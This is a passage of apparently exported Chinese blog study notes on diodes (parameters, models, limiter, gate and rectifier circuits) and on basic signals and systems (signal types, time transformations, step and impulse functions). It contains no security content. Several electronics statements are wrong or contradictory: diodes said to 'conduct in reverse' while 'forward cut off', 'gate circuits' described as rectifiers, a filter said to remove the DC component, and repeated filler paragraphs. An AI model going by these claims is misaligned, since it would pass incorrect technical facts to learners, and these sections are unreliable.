href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E4%BA%8C%E6%9E%81%E7%AE%A1%E7%9A%84%E5%8F%82%E6%95%B0\" class=\"headerlink\" title=\"二极管的参数\"\u003e\u003c/a\u003e二极管的参数\u003c/h3\u003e\u003cp\u003e二极管有这么几个特殊点。考虑U-I图(横轴U纵轴I),有\u003c/p\u003e\u003cul\u003e\u003cli\u003e$U_{th}$ 死区电压,超过这个正值二极管开始导通\u003c/li\u003e\u003cli\u003e$U_{on}\\text{ or }U_I$ 导通电压,此时电流达到1mA\u003c/li\u003e\u003cli\u003e$U_{BR}$ 击穿电压,反向电压超过一定值后,反向电流急剧增加\u003c/li\u003e\u003cli\u003e$U_R$ 最大反向工作电压,二极管允许的最大工作电压,一般取最大值的一半标注\u003c/li\u003e\u003cli\u003e$I_F$ 最大整流电流,正向最大平均电流\u003c/li\u003e\u003cli\u003e$I_R$ 反向电流,未击穿时反向电流值,受温度影响大\u003c/li\u003e\u003cli\u003e$f_M$ 最高工作频率 和结电容成反比\u003c/li\u003e\u003cli\u003e$R_D$ 端电压和流过二极管的电流之比\u003c/li\u003e\u003cli\u003e$r_d$ 交流电阻,工作点附近的图像切线斜率倒数。取26℃室温,约为$\\frac{26(mV)}{I_{DQ}}$,分母是工作点的电流\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e部分重要参数如下:\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"left\"\u003e-\u003c/th\u003e\u003cth align=\"center\"\u003e硅二极管\u003c/th\u003e\u003cth align=\"center\"\u003e锗二极管\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e$U_{th}$\u003c/td\u003e\u003ctd align=\"center\"\u003e0.5V\u003c/td\u003e\u003ctd align=\"center\"\u003e0.1V\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e$U_{on}$\u003c/td\u003e\u003ctd align=\"center\"\u003e0.7V\u003c/td\u003e\u003ctd align=\"center\"\u003e0.3V\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"left\"\u003e反向饱和电流\u003c/td\u003e\u003ctd align=\"center\"\u003e$nA$\u003c/td\u003e\u003ctd align=\"center\"\u003e$\\mu A$\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e温度特性 \u003cstrong\u003e温度升高1℃,正向压降减小2-2.5mV;升高10℃,反向电流约增大1倍。\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e为了简化分析,可以在某种范围用线性函数近似二极管的指数分布。\u003c/p\u003e\u003cul\u003e\u003cli\u003e理想模型 就是理想二极管,反向断路,正向短路\u003c/li\u003e\u003cli\u003e恒压降模型 在理想模型基础加上$U_{on}$,相当于将理想模型向右平移$U_{on}$\u003c/li\u003e\u003cli\u003e折线模型 把前者正向短路换成斜率$1/R_D$的直线\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e利用二极管反向电流变化小的性质,可以用它制作稳压电路。\u003c/p\u003e\u003ch4 id=\"限幅电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E9%99%90%E5%B9%85%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"限幅电路\"\u003e\u003c/a\u003e限幅电路\u003c/h4\u003e\u003cp\u003e限幅电路是一种常用的保护电路,可以限制输入信号的幅值,使其不超过一定范围。常用的限幅电路有正向限幅电路和反向限幅电路。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e限幅的实现,是源于二极管的伏安特性曲线。它导通时,两端电压近似等于二极管的导通电压。这使得二极管有了一种“钳制”的效果:当二极管在一个支路上,如果遇到一个支路的端电压超过导通电压,则二极管会导通,使得两端的电压无限接近于二极管的导通电压。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230606213624.png\"/\u003e\u003c/p\u003e\u003cp\u003e下面是另一个题型,看谁先导通(共极)。这种方法看谁的阴极电压更低,就能得出了。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230606213711.png\"/\u003e\u003c/p\u003e\u003cp\u003e另外还可以假设法解题。因为钳制效应的作用,所以只有一个管子会导通。因此,假设一个管导通,如果一个管导通,其他管不导通,则假设正确。\u003c/p\u003e\u003ch5 id=\"正向限幅电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E6%AD%A3%E5%90%91%E9%99%90%E5%B9%85%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"正向限幅电路\"\u003e\u003c/a\u003e正向限幅电路\u003c/h5\u003e\u003cp\u003e正向限幅电路可以将输入信号的负半周全部截去,只保留正半周。\u003c/p\u003e\u003cp\u003e当输入信号为正半周时,二极管正向导通,输出信号等于输入信号;当输入信号为负半周时,二极管反向截止,输出信号为0V。因此,正向限幅电路可以将输入信号的负半周全部截去,只保留正半周。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230606214233.png\"/\u003e\u003c/p\u003e\u003cp\u003e上面就是一个反向截止电路。\u003c/p\u003e\u003ch5 id=\"反向限幅电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E5%8F%8D%E5%90%91%E9%99%90%E5%B9%85%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"反向限幅电路\"\u003e\u003c/a\u003e反向限幅电路\u003c/h5\u003e\u003cp\u003e反向限幅电路可以将输入信号的正半周全部截去,只保留负半周。\u003c/p\u003e\u003cp\u003e当输入信号为负半周时,二极管反向导通,输出信号等于输入信号;当输入信号为正半周时,二极管正向截止,输出信号为0V。因此,反向限幅电路可以将输入信号的正半周全部截去,只保留负半周。\u003c/p\u003e\u003cp\u003e限幅电路的应用非常广泛,例如在音频放大器中,可以用限幅电路来保护扬声器,防止过载损坏;在通信电路中,可以用限幅电路来保护接收机,防止过大的信号干扰接收机正常工作。\u003c/p\u003e\u003ch4 id=\"二极管门电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E4%BA%8C%E6%9E%81%E7%AE%A1%E9%97%A8%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"二极管门电路\"\u003e\u003c/a\u003e二极管门电路\u003c/h4\u003e\u003cp\u003e二极管门电路是一种常用的电路,可以将输入信号的幅值限制在一定范围内。二极管门电路的基本原理是利用二极管的导通特性,将输入信号限制在二极管正向导通电压范围内。当输入信号超过二极管正向导通电压时,二极管开始导通,输出信号等于输入信号减去二极管正向导通电压;当输入信号小于二极管正向导通电压时,二极管反向截止,输出信号为0V。\u003c/p\u003e\u003cp\u003e常见的二极管门电路有正向门电路和反向门电路。\u003c/p\u003e\u003ch5 id=\"正向门电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E6%AD%A3%E5%90%91%E9%97%A8%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"正向门电路\"\u003e\u003c/a\u003e正向门电路\u003c/h5\u003e\u003cp\u003e正向门电路可以将输入信号的负半周全部截去,只保留正半周。当输入信号为正半周时,二极管正向导通,输出信号等于输入信号减去二极管正向导通电压;当输入信号为负半周时,二极管反向截止,输出信号为0V。因此,正向门电路可以将输入信号的负半周全部截去,只保留正半周。\u003c/p\u003e\u003ch5 id=\"反向门电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E5%8F%8D%E5%90%91%E9%97%A8%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"反向门电路\"\u003e\u003c/a\u003e反向门电路\u003c/h5\u003e\u003cp\u003e反向门电路可以将输入信号的正半周全部截去,只保留负半周。当输入信号为负半周时,二极管反向导通,输出信号等于输入信号减去二极管正向导通电压的相反数;当输入信号为正半周时,二极管正向截止,输出信号为0V。因此,反向门电路可以将输入信号的正半周全部截去,只保留负半周。\u003c/p\u003e\u003ch4 id=\"整流电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E6%95%B4%E6%B5%81%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"整流电路\"\u003e\u003c/a\u003e整流电路\u003c/h4\u003e\u003cp\u003e整流电路是将交流电信号转换为直流电信号的电路。在整流电路中,二极管起到了关键作用。常见的整流电路有半波整流电路和全波整流电路。\u003c/p\u003e\u003ch5 id=\"半波整流电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E5%8D%8A%E6%B3%A2%E6%95%B4%E6%B5%81%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"半波整流电路\"\u003e\u003c/a\u003e半波整流电路\u003c/h5\u003e\u003cp\u003e半波整流电路是将输入信号的负半周全部截去,只保留正半周。输入信号为正半周时,二极管正向导通,输出信号等于输入信号;当输入信号为负半周时,二极管反向截止,输出信号为0V。因此,半波整流电路可以将输入信号的负半周全部截去,只保留正半周。\u003c/p\u003e\u003ch5 id=\"全波整流电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E5%85%A8%E6%B3%A2%E6%95%B4%E6%B5%81%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"全波整流电路\"\u003e\u003c/a\u003e全波整流电路\u003c/h5\u003e\u003cp\u003e全波整流电路是将输入信号的负半周翻转成正半周,再与正半周相加得到完整的正半周信号。当输入信号为正半周时,D1正向导通,输出信号等于输入信号;当输入信号为负半周时,D2正向导通,输出信号等于输入信号的相反数。因此,全波整流电路可以将输入信号的负半周翻转成正半周,再与正半周相加得到完整的正半周信号。\u003c/p\u003e\u003ch5 id=\"滤波电路\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E6%BB%A4%E6%B3%A2%E7%94%B5%E8%B7%AF\" class=\"headerlink\" title=\"滤波电路\"\u003e\u003c/a\u003e滤波电路\u003c/h5\u003e\u003cp\u003e在整流电路中,由于二极管的导通特性,输出信号仍然存在直流偏置。为了去除这种直流偏置,需要加入滤波电路。常见的滤波电路有电容滤波电路和电感滤波电路。\u003c/p\u003e\u003ch3 id=\"二极管电路分析\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/#%E4%BA%8C%E6%9E%81%E7%AE%A1%E7%94%B5%E8%B7%AF%E5%88%86%E6%9E%90\" class=\"headerlink\" title=\"二极管电路分析\"\u003e\u003c/a\u003e二极管电路分析\u003c/h3\u003e\u003cp\u003e对于二极管电路的分析,需要掌握二极管的伏安特性、电容效应、温度特性等基本特性,以及二极管的参数和模型。常用的二极管模型有理想模型、恒压降模型和折线模型。在实际电路中,可以根据需要选择不同的模型进行分析。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2022/12/21/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%B8%80%E7%AB%A0-%E5%8D%8A%E5%AF%BC%E4%BD%93%E5%99%A8%E4%BB%B6/"},{"title":"信号与系统笔记","time":"2022-12-20T00:48:44Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cblockquote\u003e\u003cp\u003e考核:\u003cbr/\u003e平时成绩 30%\u003cbr/\u003e阶段考核 10%\u003cbr/\u003e慕课考核 10%\u003cbr/\u003e期末考试 50%\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"1-信号与系统\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#1-%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F\" class=\"headerlink\" title=\"1-信号与系统\"\u003e\u003c/a\u003e1-信号与系统\u003c/h2\u003e\u003ch3 id=\"1-1-信号与系统的概念\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#1-1-%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%9A%84%E6%A6%82%E5%BF%B5\" class=\"headerlink\" title=\"1.1-信号与系统的概念\"\u003e\u003c/a\u003e1.1-信号与系统的概念\u003c/h3\u003e\u003cp\u003e\u003cstrong\u003e信号\u003c/strong\u003e 是信息的载体\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e系统\u003c/strong\u003e 是若干事物组成的功能性整体,其基本作用是对信号进行\u003cstrong\u003e传输\u003c/strong\u003e和\u003cstrong\u003e处理\u003c/strong\u003e。输入信号(激励),系统产生输出(响应)。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e信号处理\u003c/strong\u003e 对信号加工处理,去除无关信息。\u003c/p\u003e\u003cp\u003e通信过程分为两种,有线和无线。\u003c/p\u003e\u003ch3 id=\"1-2-信号的描述\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#1-2-%E4%BF%A1%E5%8F%B7%E7%9A%84%E6%8F%8F%E8%BF%B0\" class=\"headerlink\" title=\"1.2-信号的描述\"\u003e\u003c/a\u003e1.2-信号的描述\u003c/h3\u003e\u003ch4 id=\"描述\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#%E6%8F%8F%E8%BF%B0\" class=\"headerlink\" title=\"描述\"\u003e\u003c/a\u003e描述\u003c/h4\u003e\u003cp\u003e信号是信息的一种物理体现,一般是随时间或位置变化的物理量。可以分为电信号和非电信号。二者可以相互转换。\u003c/p\u003e\u003cp\u003e描述方式有函数和波形描述。\u003c/p\u003e\u003ch4 id=\"分类\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#%E5%88%86%E7%B1%BB\" class=\"headerlink\" title=\"分类\"\u003e\u003c/a\u003e分类\u003c/h4\u003e\u003cp\u003e按照实际用途可以分为电视,雷达,控制信号等等\u003c/p\u003e\u003cp\u003e按照所具有的时间特性划分:\u003c/p\u003e\u003cul\u003e\u003cli\u003e确定信号和随机信号 能否用确定的时间函数表示的信号。\u003c/li\u003e\u003cli\u003e连续信号和离散信号 \u003cstrong\u003e连续的时间范围内\u003c/strong\u003e是否有定义的信号。\u003c/li\u003e\u003c/ul\u003e\u003cblockquote\u003e\u003cp\u003e连续信号和离散信号分别可以对应模拟信号(时间和幅值均连续的信号)和数字信号。信号传输时通常采用数字信号的形式传输,在系统中使用时会重新解码为模拟信号。\u003cbr/\u003e模拟转数字过程:先抽样,转化为抽样信号(时间离散,幅值连续的信号);再量化,转化为幅值和时间均为离散的信号(把一个区间内的值都映射为一个值),随后将信号进行编码再发射出去。\u003cbr/\u003e![[Pasted image 20221220093016.png]]\u003c/p\u003e\u003c/blockquote\u003e\u003cul\u003e\u003cli\u003e周期信号和非周期信号 定义域在$(-\\infty, +\\infty)$间,每隔$T$重复的信号。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cstrong\u003e判断两个周期信号的和信号是否为周期信号\u003c/strong\u003e 设两信号周期分别为$T_1,T_2$,若$\\frac{T_1}{T_2}$为有理数,则和信号是周期信号,且周期为$T_1,T_2$的最小公倍数。\u003c/p\u003e\u003cp\u003e正弦\u003cstrong\u003e信号\u003c/strong\u003e一定是\u003cstrong\u003e周期信号\u003c/strong\u003e,其和则不一定。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e判断$f(k)=sin(\\beta k)$是否为周期信号\u003c/strong\u003e ![[Pasted image 20221220094043.png]]\u003c/p\u003e\u003cp\u003e上面的$\\beta$称为数字角频率,这意味着把信号离散化了。\u003cstrong\u003e正弦序列不一定是周期序列,两个周期序列之和一定是周期序列\u003c/strong\u003e。\u003c/p\u003e\u003cul\u003e\u003cli\u003e能量信号与功率信号\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e信号瞬时功率 将信号$f(t)$施加到$1\\Omega$的电阻上,其瞬时功率为$\\vert{f(t)}\\vert^2$。能量和平均功率的定义为:\u003c/p\u003e\u003cp\u003e$$E=\\int \\vert{f(t)}\\vert^2 dt$$\u003cbr/\u003e$$P=lim_{t \\to \\infty}\\frac{1}{T}\\int_{-\\frac{T}{2}}^{\\frac{T}{2}}\\vert{f(t)}\\vert^2 dt$$\u003c/p\u003e\u003cp\u003e若能量有界,则称为能量有限信号/\u003cstrong\u003e能量信号\u003c/strong\u003e。此时$P=0$;若功率有界,则称为功率有限信号/\u003cstrong\u003e功率信号\u003c/strong\u003e,此时$E=\\infty$。\u003c/p\u003e\u003cp\u003e对于离散信号也一样,将积分改为求和即可:![[Pasted image 20221220095410.png]]\u003c/p\u003e\u003cul\u003e\u003cli\u003e一维信号和多维信号 如音频信号/图像信号\u003c/li\u003e\u003cli\u003e因果信号与反因果信号 $t\u0026lt;0,f(t)=0$即因果信号,$t\\geq 0, f(t)=0$ 称为反因果信号\u003c/li\u003e\u003cli\u003e确定性信号\u003c/li\u003e\u003c/ul\u003e\u003col\u003e\u003cli\u003e指数信号$f(t)=Ke^{\\alpha t}$ 若只保留$t\\geq 0$的部分则称为单边信号\u003c/li\u003e\u003cli\u003e正弦信号$f(t)=Ksin(\\omega t+\\theta)$ 在前面乘一个衰减的指数信号则称为衰减正弦信号\u003c/li\u003e\u003cli\u003e复指数信号 把指数信号的$\\alpha$换为$s=\\sigma +j\\omega$,即复数,这称为复频率![[Pasted image 20221220100315.png]]\u003c/li\u003e\u003cli\u003e抽样信号$Sa(t)=\\frac{sin t}{t}$,向两侧衰减的余弦信号![[Pasted image 20221220100538.png]]\u003c/li\u003e\u003c/ol\u003e\u003ch3 id=\"1-3-信号的基本运算\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#1-3-%E4%BF%A1%E5%8F%B7%E7%9A%84%E5%9F%BA%E6%9C%AC%E8%BF%90%E7%AE%97\" class=\"headerlink\" title=\"1.3-信号的基本运算\"\u003e\u003c/a\u003e1.3-信号的基本运算\u003c/h3\u003e\u003ch4 id=\"加法和乘法\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#%E5%8A%A0%E6%B3%95%E5%92%8C%E4%B9%98%E6%B3%95\" class=\"headerlink\" title=\"加法和乘法\"\u003e\u003c/a\u003e加法和乘法\u003c/h4\u003e\u003cul\u003e\u003cli\u003e连续信号:函数相加/乘\u003c/li\u003e\u003cli\u003e离散信号:对应各离散量相加/乘\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"信号的时间变换\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#%E4%BF%A1%E5%8F%B7%E7%9A%84%E6%97%B6%E9%97%B4%E5%8F%98%E6%8D%A2\" class=\"headerlink\" title=\"信号的时间变换\"\u003e\u003c/a\u003e信号的\u003cstrong\u003e时间变换\u003c/strong\u003e\u003c/h4\u003e\u003cul\u003e\u003cli\u003e反转:将 $f(t)\\to f(-t)$ ,$f(k)\\to f(-k)$ 称为对信号$f(\\cdot)$的反转或反折。从图形上看是将$f(\\cdot)$以纵坐标为轴反转$180^o$:\u003cbr/\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230414120234.png\"/\u003e\u003c/li\u003e\u003cli\u003e平移:将 $f (t) → f (t – t_0)$ , $f (k) → f (k – k_0)$称为对信号$f (·)$的平移或移位。若$t_0$ (或$k_0$) $\u0026gt;0$,则将$f (·)$右移;否则左移\u003c/li\u003e\u003cli\u003e展缩:将 $f (t) → f (at)$ , 称为对信号$f(t)$的尺度变换。若$a \u0026gt;1$ ,则波形沿横坐标压缩;若$0\u0026lt; a \u0026lt; 1$ ,则扩展:\u003cbr/\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230414121016.png\"/\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"组合变换\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#%E7%BB%84%E5%90%88%E5%8F%98%E6%8D%A2\" class=\"headerlink\" title=\"组合变换\"\u003e\u003c/a\u003e组合变换\u003c/h4\u003e\u003cp\u003e原图进行变换:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230414121048.png\"/\u003e\u003c/p\u003e\u003cp\u003e变换得到原图:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230414121123.png\"/\u003e\u003c/p\u003e\u003ch3 id=\"1-4-阶跃函数和冲激函数\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#1-4-%E9%98%B6%E8%B7%83%E5%87%BD%E6%95%B0%E5%92%8C%E5%86%B2%E6%BF%80%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"1.4-阶跃函数和冲激函数\"\u003e\u003c/a\u003e1.4-阶跃函数和冲激函数\u003c/h3\u003e\u003cp\u003e这俩是奇异函数(函数本身\u003cstrong\u003e有不连续点(跳变点)\u003c/strong\u003e 或 \u003cstrong\u003e其导数与积分有不连续点\u003c/strong\u003e 的一类函数)\u003c/p\u003e\u003ch4 id=\"阶跃函数\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#%E9%98%B6%E8%B7%83%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"阶跃函数\"\u003e\u003c/a\u003e阶跃函数\u003c/h4\u003e\u003cp\u003e函数如下:$\\epsilon(t)=0:x\u0026lt;=0;1,x\u0026gt;0$\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230415131707.png\"/\u003e\u003c/p\u003e\u003ch4 id=\"单位冲激函数\"\u003e\u003ca href=\"https://xeonds.github.io/2022/12/20/%E7%89%A9%E7%90%86/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F/%E4%BF%A1%E5%8F%B7%E4%B8%8E%E7%B3%BB%E7%BB%9F%E7%AC%94%E8%AE%B0/#%E5%8D%95%E4%BD%8D%E5%86%B2%E6%BF%80%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"单位冲激函数\"\u003e\u003c/a\u003e单位冲激函数\u003c/h4\u003e\u003cul\u003e\u003cli\u003e函数值只在t = 0时不为零\u003c/li\u003e\u003cli\u003e积分面积为1\u003c/li\u003e\u003cli\u003e$t=0$时,$\\delta(t)\\to \\infty$,为无界函数\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230415131930.png\"/\u003e\u003c/p\u003e\u003cp\u003e对$\\epsilon(t)$\u003cstrong\u003e求导即可得到\u003c/strong\u003e单位冲激函数$\\delta(t)$。它高度无穷高,厚度无穷窄,面积为1。反过来,对单位冲激函数积分就可以得到$\\epsilon(t)$。\u003c/p\u003e\u003cp\u003e它有如下重要性质:\u003c/p\u003e\u003col\u003e\u003cli\u003e取样性:\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230415132334.png\"/\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e例如:\u003c/p\u003e\u003cul\u003e\u003cli\u003e$sin(t+\\frac{\\pi}{4})\\delta(t)=sin(\\frac{\\pi}{4})\\delta(t)=\\frac{\\sqrt{2}}{2}$\u003c/li\u003e\u003cli\u003e$\\int_{-\\infty}^{\\infty}{sin(t-\\frac{\\pi}{4})\\delta(t)}=-\\frac{\\sqrt{2}}{2}$\u003c/li\u003e\u003c/ul\u003e\u003col start=\"2\"\u003e\u003cli\u003e冲激偶:\u003cimg src=\"https://xeonds.github.io/Pasted%20image%2020230415132850.png\"/\u003e\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cimg 